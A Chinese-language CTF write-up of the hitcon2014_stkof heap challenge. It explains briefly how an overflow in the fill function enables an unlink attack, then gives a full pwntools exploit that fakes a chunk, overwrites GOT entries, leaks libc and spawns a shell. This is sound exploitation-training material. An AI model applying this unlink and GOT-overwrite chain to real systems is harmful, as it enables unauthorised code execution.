初学,通过一道题初步掌握unlink。不教学unlink的具体过程,仅是一篇wp记录笔记
前言
教学和具体过程可以看这个大佬的博客:
buuctf pwn hitcon2014_stkof 初识unlink_buuctf hitcon2014_stkof-CSDN博客
一、题目
fill函数可读大量字符,造成堆溢出。
可以通过unlink进行利用控制:
如果存在区域连续存放结构体指针、存在堆溢出或其他漏洞修改结构体控制头部字段、常存在edit操作等
最终效果:可以edit这些结构体指针区域的指针,再通过指针任意地址写
二、exp
from pwn import *
from pwn import p64
context(arch='amd64',log_level='debug')
io=process('./pwn')
# io=remote('node4.buuoj.cn',25122)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
free_got=elf.got['free']
free_plt=elf.plt['free']
atoi_got=elf.got['atoi']
atoi_plt=elf.plt['atoi']
def fill(index,size,payload):
io.sendline(b'2')
io.sendline(str(index).encode())
io.sendline(str(size).encode())
io.send(payload)
io.recvuntil(b'OK\n')
def free(index):
io.sendline(b'3')
io.sendline(str(index).encode())
def alloc(size):
io.sendline(b'1')
io.sendline(str(size).encode())
cnt=int(io.recvuntil(b'\n',drop=True))
io.recvuntil(b'OK\n')
success('num of chunk:{}'.format(cnt))
initptr=0x602140
# gdb.attach(io)
alloc(0x100) #为了触发输入输出缓冲区的malloc而操作,后面没用
# 构造伪chunk
# 但是大小和填充(就算正确构造了位置上的fake chunk,有时候还是会遇到double-link报错
alloc(0x20)
alloc(0x80) # free掉的时候触发unlink
##### 构造fake chunk、修改临近smallbin-chunk控制头部字段
chunk2_ptr=initptr+2*0x8 # 第二块,块数从1计
fd=chunk2_ptr-0x18; bk=chunk2_ptr-0x10
payload=p64(0)+p64(0x21)+p64(fd)+p64(bk) # fake chunk
# 很奇怪,这里构造fake chunk一不小心就会爆double-link的错误,不知道为什么
# payload=payload.rjust(0x60,b'a') 之前第二个开了0x60的大小,用b'a'填充开头但是报错。。。
payload+=p64(0x20)+p64(0x90) # 溢出修改chunk3的prev_size和(size+prev_inuse)构成unlink
fill(2,len(payload),payload)
##### free smallbin-chunk触发unlink
free(3)
io.recvuntil(b'OK\n')
# 之所以单独拿出来是因为后面篡改free后,要泄露地址,方便接收
# chunk0指针改为指向puts_got,chunk1指针指向free_got
payload=p64(0) #0x602138
#0x602140 #0x602148 #0x602150 #0x602158 对应第0、1、2个chunk,也就是fill的index
payload+=p64(puts_got)+p64(free_got)+p64(0x602138)+p64(puts_got)
fill(2,len(payload),payload)
# 修改free_got为puts_plt
payload=p64(puts_plt)
fill(1,len(payload),payload)
# 泄露puts_got地址
free(3)
puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts real addr:{}'.format(hex(puts)))
io.recvuntil(b'OK\n')
# 获得system、/bin/sh字符串的真实地址
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))
# 思路1:
# 更改free为system,更改指针指向bin_sh,然后free该指针构成system('/bin/sh')
# 重新修改栈上内容
# payload=p64(0) #0x602138
#0x602140 #0x602144 对应第0、1个chunk指针
# payload+=p64(free_got)+p64(bin_sh)
# fill(2,len(payload),payload)
# payload=p64(system)
# fill(0,len(payload),payload)
# free(1)
# 成功getshell
# 思路2:
# 更改atoi为system,手动输入/bin/sh字符串
# 重新修改栈上内容
payload=p64(0)
payload+=p64(atoi_got)
fill(2,len(payload),payload)
# 更改atoi为system
payload=p64(system)
fill(0,len(payload),payload)
raw_input()
io.sendline(b'/bin/sh\x00')
# 成功getshell
io.interactive()